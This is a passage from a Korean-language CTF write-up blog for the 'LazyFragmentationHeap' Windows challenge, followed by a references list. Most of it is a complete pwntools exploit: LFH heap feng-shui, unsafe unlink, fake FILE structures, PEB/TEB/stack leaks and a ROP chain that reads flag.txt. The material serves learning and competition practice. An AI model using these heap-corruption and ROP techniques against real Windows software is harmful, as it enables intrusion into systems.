       +0x00b SmallTagIndex    : 0xc8 ''
       +0x008 SubSegmentCode   : 0xc80101c8
       +0x00c PreviousSize     : 0x27
       +0x00e SegmentOffset    : 0 ''
       +0x00e LFHFlags         : 0 ''
       +0x00f UnusedBytes      : 0x10 ''
    '''</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="c1"># big chunk for LFH's new UserBlock
</span>
    <span class="c1"># pre-setting for Unsafe Unlink
</span>    <span class="c1"># (0x1c80 - 0x40 - 0x200 - 0x1000)/2 = 0x520
</span>    <span class="n">alloc</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="mh">0x520</span><span class="p">)</span> 

    <span class="c1"># this is chunk 6
</span>    <span class="c1"># set chunk_id to _HEP_ENTRY for Heap Feng-Shui
</span>    <span class="n">alloc</span><span class="p">(</span><span class="mh">0x5353000053</span> <span class="o">^</span> <span class="n">heap_encod</span><span class="p">,</span> <span class="mh">0x520</span><span class="p">)</span>

    <span class="n">open_file</span><span class="p">()</span>
    <span class="n">read_file</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
    <span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x268</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_entry</span><span class="p">)[:</span><span class="mi">6</span><span class="p">],</span> <span class="bp">False</span><span class="p">)</span>
    <span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>         <span class="c1"># free coalesce mechanism also free'ing chunk 4, 5, 6
</span>    <span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span> <span class="c1"># set Flink and Blink at chunk 4, 5, 6
</span>
    <span class="n">heap_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">4</span><span class="p">)[:</span><span class="mi">8</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">-</span> <span class="mh">0x150</span>
    <span class="k">if</span> <span class="n">heap_base</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Heap address not leaked"</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="c1"># make LFH to allocate new Userblock in chunk 4
</span>    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x14</span><span class="p">):</span>
        <span class="n">open_file</span><span class="p">()</span>

    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">=</span> <span class="s">""</span>
    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0xbcd0</span><span class="p">)</span>    <span class="c1"># +0x000 SubSegment
</span>    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x12e40</span><span class="p">)</span>   <span class="c1"># +0x008 Reserved
</span>    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xc</span><span class="p">)</span>                   <span class="c1"># +0x010 SizeIndexAndPadding
</span>    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xf0e0d0c0</span><span class="p">)</span>            <span class="c1"># +0x014 Signature
</span>    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">5</span>                 <span class="c1"># I couldn't leak other values
</span>
    <span class="c1"># cursor points heap_mem of chunk 3
</span>    <span class="n">cursor</span> <span class="o">=</span> <span class="mh">0xbeefdad0000</span> <span class="o">+</span> <span class="p">(</span><span class="mh">0x28</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x20</span>

    <span class="c1"># HAVE TO set specific values to get input from STDIN
</span>    <span class="n">fake_FILE</span> <span class="o">=</span> <span class="s">""</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span>              <span class="c1"># _HEAP_ENTRY
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">cursor</span><span class="p">)</span>             <span class="c1"># cursor of SEEK_CUR &lt;--|
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">cursor</span><span class="p">)</span>             <span class="c1"># base address &lt;--------|-- both must be equal
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>                  <span class="c1"># remaining file size
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x2041</span><span class="p">)</span>             <span class="c1"># I dunno what they are
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x1</span><span class="p">)</span>                <span class="c1"># &lt;------------------------ only 0 or 1 or 2
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x800</span><span class="p">)</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">)</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffff</span><span class="p">)</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

    <span class="n">for_leak</span> <span class="o">=</span> <span class="s">""</span>
    <span class="n">for_leak</span> <span class="o">+=</span> <span class="n">fake_HEAP_USERDATA_HEADER</span>
    <span class="n">for_leak</span> <span class="o">+=</span> <span class="n">fake_FILE</span> <span class="o">*</span> <span class="p">((</span><span class="mh">0x1000</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">for_leak</span><span class="p">))</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">fake_FILE</span><span class="p">))</span>

    <span class="n">edit</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="n">for_leak</span><span class="p">,</span> <span class="bp">False</span><span class="p">)</span>
    <span class="n">read_file</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="bp">False</span><span class="p">)</span>

    <span class="c1"># ucrtbase!_pioinfo[0] has fixed heap offset
</span>    <span class="n">hi</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span><span class="o">+</span><span class="mh">0x8d48</span><span class="p">))</span> <span class="c1"># I dunno any details about windows FSOP...V_V
</span>    <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>   <span class="c1"># But @scwuaptx said offset 0x38 is flag
</span>    <span class="n">edit</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">9</span><span class="p">),</span> <span class="bp">False</span><span class="p">)</span>          <span class="c1"># this will switch text mode to binary mode
</span>
    <span class="n">fxxk</span> <span class="o">=</span> <span class="mh">0xbeefdad0000</span> <span class="o">+</span> <span class="p">(</span><span class="mh">0x28</span> <span class="o">*</span> <span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x20</span> <span class="c1"># heap_mem of chunk 6 
</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="p">(</span><span class="mh">0x520</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1"># sizeof(chunk 5 and 6) + sizeof(_HEAP_ENTRY)
</span>                               <span class="c1"># have same heap_mem with chunk 5
</span>    <span class="n">free</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>                    <span class="c1"># Actually it free'ing chunk 7
</span>    <span class="n">alloc</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="mh">0x520</span><span class="p">)</span>            <span class="c1"># Now, chunk 7 === chunk 5
</span>
    <span class="c1"># But chunk 7 is bigger than chunk 5
</span>    <span class="n">edit</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x520</span> <span class="o">+</span> 
            <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> 
            <span class="n">p64</span><span class="p">(</span><span class="mh">0x5353000053</span> <span class="o">^</span> <span class="n">heap_encod</span><span class="p">)</span> <span class="o">+</span> 
            <span class="n">p64</span><span class="p">(</span><span class="n">fxxk</span> <span class="o">-</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="c1"># Flink-&gt;Blink = Flink
</span>            <span class="n">p64</span><span class="p">(</span><span class="n">fxxk</span><span class="p">)</span>       <span class="c1"># Blink-&gt;Flink = Blink
</span>                            <span class="c1"># satisfying unlink condition
</span>                            <span class="c1"># *(fxxk) = fxxk
</span>    <span class="p">)</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mh">0x520</span><span class="p">)</span>
    
    <span class="n">lazy_id1</span> <span class="o">=</span> <span class="mh">0xdeadbeef</span> 
    <span class="n">lazy_id2</span> <span class="o">=</span> <span class="mh">0xcafebabe</span>
    <span class="n">lazy_id3</span> <span class="o">=</span> <span class="mh">0x13371337</span>
    <span class="n">create_lazy_header</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">chunk_id</span> <span class="p">:</span> <span class="n">flat</span><span class="p">([</span>
                                               <span class="mh">0xddaabeef1acd</span><span class="p">,</span> 
                                               <span class="mh">0x200</span><span class="p">,</span>
                                               <span class="n">chunk_id</span><span class="p">,</span>
                                               <span class="mh">0xddaabeef1acd</span><span class="p">,</span> 
                                           <span class="p">],</span> <span class="n">word_size</span><span class="o">=</span><span class="mi">64</span><span class="p">,</span> <span class="n">endianness</span><span class="o">=</span><span class="s">"little"</span><span class="p">)</span>

    <span class="n">lazy_header1</span> <span class="o">=</span> <span class="n">create_lazy_header</span><span class="p">(</span><span class="n">lazy_id1</span><span class="p">)</span>
    <span class="n">lazy_header2</span> <span class="o">=</span> <span class="n">create_lazy_header</span><span class="p">(</span><span class="n">lazy_id2</span><span class="p">)</span>
    <span class="n">lazy_header3</span> <span class="o">=</span> <span class="n">create_lazy_header</span><span class="p">(</span><span class="n">lazy_id3</span><span class="p">)</span>

    <span class="n">edit</span><span class="p">(</span><span class="mh">0x5353000053</span> <span class="o">^</span> <span class="n">heap_encod</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xbeefdad0000</span><span class="p">)</span> <span class="o">+</span> 
                                    <span class="n">lazy_header1</span> <span class="o">+</span> 
                                    <span class="n">p64</span><span class="p">(</span><span class="mh">0xbeefdad0000</span><span class="p">)</span>
    <span class="p">)</span>

    <span class="c1"># set lazy_header1 at 0xbeefdad0000
</span>    <span class="n">edit</span><span class="p">(</span><span class="n">lazy_id1</span><span class="p">,</span> <span class="n">lazy_header1</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xbeefdad0000</span><span class="p">))</span> 

    <span class="c1"># Becuase of edit limit at "2. Edit File content",
</span>    <span class="c1"># HAVE TO keep modifying magic1
</span>    <span class="k">def</span> <span class="nf">lazy_read</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
        <span class="k">global</span> <span class="n">magic_switch</span>

        <span class="k">if</span> <span class="n">magic_switch</span><span class="p">:</span>
            <span class="n">edit</span><span class="p">(</span><span class="n">lazy_id1</span><span class="p">,</span> <span class="n">lazy_header1</span> <span class="o">+</span> 
                           <span class="n">p64</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span> <span class="o">+</span>
                           <span class="n">lazy_header2</span> <span class="o">+</span>
                           <span class="n">p64</span><span class="p">(</span><span class="mh">0xbeefdad0000</span><span class="p">)</span>
            <span class="p">)</span>
            <span class="n">result</span> <span class="o">=</span> <span class="n">show</span><span class="p">(</span><span class="n">lazy_id1</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">edit</span><span class="p">(</span><span class="n">lazy_id2</span><span class="p">,</span> <span class="n">lazy_header1</span> <span class="o">+</span> 
                           <span class="n">p64</span><span class="p">(</span><span class="mh">0xbeefdad0000</span><span class="p">)</span> <span class="o">+</span>
                           <span class="n">lazy_header2</span> <span class="o">+</span>
                           <span class="n">p64</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
            <span class="p">)</span>
            <span class="n">result</span> <span class="o">=</span> <span class="n">show</span><span class="p">(</span><span class="n">lazy_id2</span><span class="p">)</span>

        <span class="n">magic_switch</span> <span class="o">=</span> <span class="ow">not</span> <span class="n">magic_switch</span>
        <span class="k">return</span> <span class="n">result</span>

    <span class="k">def</span> <span class="nf">lazy_write</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
        <span class="k">global</span> <span class="n">magic_switch</span>

        <span class="k">if</span> <span class="n">magic_switch</span><span class="p">:</span>
            <span class="n">edit</span><span class="p">(</span><span class="n">lazy_id1</span><span class="p">,</span> <span class="n">lazy_header1</span> <span class="o">+</span> 
                           <span class="n">p64</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span> <span class="o">+</span>
                           <span class="n">lazy_header2</span> <span class="o">+</span>
                           <span class="n">p64</span><span class="p">(</span><span class="mh">0xbeefdad0000</span><span class="p">)</span> <span class="o">+</span>
                           <span class="n">lazy_header3</span> <span class="o">+</span>
                           <span class="n">p64</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
            <span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">edit</span><span class="p">(</span><span class="n">lazy_id2</span><span class="p">,</span> <span class="n">lazy_header1</span> <span class="o">+</span> 
                           <span class="n">p64</span><span class="p">(</span><span class="mh">0xbeefdad0000</span><span class="p">)</span> <span class="o">+</span>
                           <span class="n">lazy_header2</span> <span class="o">+</span>
                           <span class="n">p64</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span> <span class="o">+</span>
                           <span class="n">lazy_header3</span> <span class="o">+</span>
                           <span class="n">p64</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
            <span class="p">)</span>

        <span class="n">edit</span><span class="p">(</span><span class="n">lazy_id3</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="bp">False</span><span class="p">)</span>
        <span class="n">magic_switch</span> <span class="o">=</span> <span class="ow">not</span> <span class="n">magic_switch</span>

    <span class="c1"># ntdll!TlsBitMap+0x8 == _PEB-&gt;TlsBitmap
</span>    <span class="n">_PEB</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">lazy_read</span><span class="p">(</span><span class="n">ntdll</span><span class="o">+</span><span class="mh">0x165348</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">-</span> <span class="mh">0x80</span> 
    <span class="n">_TEB</span> <span class="o">=</span> <span class="n">_PEB</span> <span class="o">+</span> <span class="mh">0x1000</span> 

    <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"&amp;_PEB = 0x%016x"</span> <span class="o">%</span> <span class="n">_PEB</span><span class="p">)</span>
    <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"&amp;_TEB = 0x%016x"</span> <span class="o">%</span> <span class="n">_TEB</span><span class="p">)</span>

    <span class="c1"># leak _TEB-&gt;NtTib-&gt;StackBase
</span>    <span class="n">stack_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">lazy_read</span><span class="p">(</span><span class="n">_TEB</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">2</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span>
    <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"_TEB-&gt;NtTib-&gt;StackBase = 0x%016x"</span> <span class="o">%</span> <span class="n">stack_base</span><span class="p">)</span>
   
    <span class="c1"># find return address of main() at beginning
</span>    <span class="n">main_ret</span> <span class="o">=</span> <span class="n">lazy_base</span> <span class="o">+</span> <span class="mh">0x1b78</span>

    <span class="n">find_ret_addr</span> <span class="o">=</span> <span class="n">hi</span><span class="p">.</span><span class="n">progress</span><span class="p">(</span><span class="s">"finding return address on stack"</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">offset</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mi">8</span><span class="p">):</span>
        <span class="n">stack_addr</span> <span class="o">=</span> <span class="n">stack_base</span> <span class="o">-</span> <span class="n">offset</span>
        <span class="n">stack_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">lazy_read</span><span class="p">(</span><span class="n">stack_addr</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span>

        <span class="k">if</span> <span class="n">stack_leak</span> <span class="o">==</span> <span class="n">main_ret</span><span class="p">:</span>
            <span class="n">find_ret_addr</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="s">"gotcha!"</span><span class="p">)</span>
            <span class="k">break</span>

    <span class="c1"># return addres of read() at lazyfragmentationheap+0x14bb
</span>    <span class="n">stack_addr</span> <span class="o">=</span> <span class="n">stack_addr</span> <span class="o">-</span> <span class="mh">0x80</span>
    <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"stack addr = 0x%016x"</span> <span class="o">%</span> <span class="n">stack_addr</span><span class="p">)</span>

    <span class="n">flag_addr</span> <span class="o">=</span> <span class="n">lazy_base</span> <span class="o">+</span> <span class="mh">0x50c0</span>
    <span class="n">flag_buf</span> <span class="o">=</span> <span class="n">lazy_base</span> <span class="o">+</span> <span class="mh">0x50d0</span>
    <span class="n">lazy_write</span><span class="p">(</span><span class="n">flag_addr</span><span class="p">,</span> <span class="s">"flag.txt</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>

    <span class="c1"># restore Heap for WINAPI internal usage
</span>    <span class="n">HeapCreate_addr</span>   <span class="o">=</span> <span class="n">kernel32</span> <span class="o">+</span> <span class="mh">0x1e500</span> <span class="c1"># IAT to KERNELBASE!HeapCreate
</span>
    <span class="c1"># https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/crt-alphabetical-function-reference
</span>    <span class="c1"># ucrtbase.dll contains POSIX functions like open(), read(), write()...
</span>    <span class="n">open_addr</span>  <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0xa1ae0</span>
    <span class="n">read_addr</span>  <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0x16140</span>
    <span class="n">write_addr</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0x14b30</span>
    <span class="n">exit_addr</span>  <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0x1b8c0</span>

    <span class="n">pop_rcx_ret</span> <span class="o">=</span> <span class="n">ntdll</span> <span class="o">+</span> <span class="mh">0x21527</span>
    <span class="n">pop_rdx_ret</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0xa9eb2</span>
    <span class="n">pop_r8_ret</span>  <span class="o">=</span> <span class="n">ntdll</span> <span class="o">+</span> <span class="mh">0x4d6cf</span>
    <span class="n">store_rdx_rax_ret</span> <span class="o">=</span> <span class="n">ntdll</span> <span class="o">+</span> <span class="mh">0x88f5c</span>
    <span class="n">store_rcx_plus8_rax_ret</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0x4a721</span>
    <span class="n">add_rsp_0x28_ret</span> <span class="o">=</span> <span class="n">ntdll</span> <span class="o">+</span> <span class="mh">0x63c5</span>

    <span class="n">process_heap</span> <span class="o">=</span> <span class="n">_PEB</span> <span class="o">+</span> <span class="mh">0x30</span>    <span class="c1"># _PEB-&gt;ProcessHeap
</span>    <span class="n">crt_heap</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0xeb570</span> <span class="c1"># ucrtbase!_acrt_heap
</span>
    <span class="n">rop_chain</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
        <span class="n">pop_rcx_ret</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">pop_rdx_ret</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">pop_r8_ret</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">HeapCreate_addr</span><span class="p">,</span>   <span class="c1"># rax = HeapCreate(0, 0, 0)
</span>
        <span class="n">pop_rdx_ret</span><span class="p">,</span> 
        <span class="n">process_heap</span><span class="p">,</span>
        <span class="n">store_rdx_rax_ret</span><span class="p">,</span> <span class="c1"># *process_heap = rax
</span>
        <span class="n">pop_rdx_ret</span><span class="p">,</span> 
        <span class="n">crt_heap</span><span class="p">,</span>
        <span class="n">store_rdx_rax_ret</span><span class="p">,</span> <span class="c1"># *crt_heap = rax
</span>
        <span class="c1"># rax = open("flag.txt", _O_RDONLY, _S_IREAD)
</span>        <span class="n">pop_rcx_ret</span><span class="p">,</span>
        <span class="n">flag_addr</span><span class="p">,</span>
        <span class="n">pop_rdx_ret</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">pop_r8_ret</span><span class="p">,</span>
        <span class="mh">0x100</span><span class="p">,</span>
        <span class="n">open_addr</span><span class="p">,</span>
        <span class="n">add_rsp_0x28_ret</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>

        <span class="c1"># read(rax, flag_buf, 0x80)
</span>        <span class="n">pop_rcx_ret</span><span class="p">,</span>
        <span class="n">stack_addr</span> <span class="o">+</span> <span class="p">(</span><span class="mi">8</span> <span class="o">*</span> <span class="mi">29</span><span class="p">),</span>
        <span class="n">store_rcx_plus8_rax_ret</span><span class="p">,</span>
        <span class="n">pop_rcx_ret</span><span class="p">,</span>
        <span class="mh">0x12345678</span><span class="p">,</span> <span class="c1"># will replace to fd
</span>        <span class="n">pop_rdx_ret</span><span class="p">,</span> 
        <span class="n">flag_buf</span><span class="p">,</span>
        <span class="n">pop_r8_ret</span><span class="p">,</span>
        <span class="mh">0x80</span><span class="p">,</span>
        <span class="n">read_addr</span><span class="p">,</span>
        <span class="n">add_rsp_0x28_ret</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>

        <span class="c1"># write(1, flag_buf, 0x80)
</span>        <span class="n">pop_rcx_ret</span><span class="p">,</span>
        <span class="mi">1</span><span class="p">,</span>
        <span class="n">pop_rdx_ret</span><span class="p">,</span>
        <span class="n">flag_buf</span><span class="p">,</span>
        <span class="n">pop_r8_ret</span><span class="p">,</span>
        <span class="mh">0x80</span><span class="p">,</span>
        <span class="n">write_addr</span><span class="p">,</span>
        <span class="n">add_rsp_0x28_ret</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>

        <span class="c1"># exit(0)
</span>        <span class="n">pop_rcx_ret</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">exit_addr</span>
    <span class="p">],</span> <span class="n">word_size</span><span class="o">=</span><span class="mi">64</span><span class="p">,</span> <span class="n">endianness</span><span class="o">=</span><span class="s">"little"</span><span class="p">)</span>

    <span class="n">lazy_write</span><span class="p">(</span><span class="n">stack_addr</span><span class="p">,</span> <span class="n">rop_chain</span><span class="p">)</span>
    <span class="n">hi</span><span class="p">.</span><span class="n">interactive</span><span class="p">(</span><span class="n">prompt</span><span class="o">=</span><span class="bp">None</span><span class="p">)</span>


<span class="c1"># I DON'T WANT TO SEE FXXKING ERROR
</span><span class="n">is_leaked</span> <span class="o">=</span> <span class="n">log</span><span class="p">.</span><span class="n">progress</span><span class="p">(</span><span class="s">"This is gonna takes some time..."</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">lazy_base</span> <span class="o">=</span> <span class="n">persistent_leak</span><span class="p">(</span><span class="n">leakLazy</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="n">kernel32</span> <span class="o">=</span> <span class="n">persistent_leak</span><span class="p">(</span><span class="n">lazy_base</span><span class="o">+</span><span class="mh">0x3008</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x1e690</span>  <span class="c1"># KERNEL32!IsDebuggerPresentStub
</span>        <span class="n">ntdll</span>    <span class="o">=</span> <span class="n">persistent_leak</span><span class="p">(</span><span class="n">lazy_base</span><span class="o">+</span><span class="mh">0x3010</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x73810</span>  <span class="c1"># ntdll!RtlInitializeSListHead
</span>        <span class="n">ucrtbase</span> <span class="o">=</span> <span class="n">persistent_leak</span><span class="p">(</span><span class="n">lazy_base</span><span class="o">+</span><span class="mh">0x30b0</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x0f760</span>  <span class="c1"># ucrtbase!free
</span>        <span class="k">break</span>
    <span class="k">except</span> <span class="nb">Exception</span><span class="p">:</span>
        <span class="k">continue</span>

<span class="n">is_leaked</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="s">"Done :D"</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"LazyFragmentationHeap = 0x%016x"</span> <span class="o">%</span> <span class="n">lazy_base</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"kernel32 = 0x%016x"</span> <span class="o">%</span> <span class="n">kernel32</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"ntdll    = 0x%016x"</span> <span class="o">%</span> <span class="n">ntdll</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"ucrtbase = 0x%016x"</span> <span class="o">%</span> <span class="n">ucrtbase</span><span class="p">)</span>

<span class="n">exploit</span><span class="p">()</span>
</code></pre></div></div>
<p><img src="/assets/images/lazyfragmentationheap-pic9.png" alt="flag result" /></p>

<h1 id="5-후기">5. 후기</h1>
<p><img src="/assets/images/lazyfragmentationheap-pic10.jpg" alt="burnout" /></p>

<p>하얗게 불태워버렸습니다…</p>

<h1 id="6-참고자료">6. 참고자료</h1>

<p>Low-fragmentation Heap</p>
<ul>
  <li>https://docs.microsoft.com/en-us/windows/win32/memory/low-fragmentation-heap</li>
</ul>

<p>Windows 8 Heap Internals</p>
<ul>
  <li>http://illmatics.com/Windows%208%20Heap%20Internals.pdf</li>
  <li>http://illmatics.com/Windows%208%20Heap%20Internals%20(Slides).pdf</li>
</ul>

<p>Windows 10 Nt Heap Exploitation (English version)</p>
<ul>
  <li>https://www.slideshare.net/AngelBoy1/windows-10-nt-heap-exploitation-english-version</li>
</ul>

<p>windbg와 Win32 API로 알아보는 Windows Heap 정보 분석</p>
<ul>
  <li>https://www.sysnet.pe.kr/2/0/12068</li>
</ul>

<p>Low Fragmentation Heap (LFH) Exploitation - Windows 10 Userspace</p>
<ul>
  <li>https://github.com/peleghd/Windows-10-Exploitation/blob/master/Low_Fragmentation_Heap_(LFH)_Exploitation_-_Windows_10_Userspace_by_Saar_Amar.pdf</li>
</ul>

<p>Understanding the Windows Allocator: A Redux</p>
<ul>
  <li>https://www.leviathansecurity.com/blog/understanding-the-windows-allocator-a-redux</li>
</ul>

<p>Heap Overflow Exploitation on Windows 10 Explained</p>
<ul>
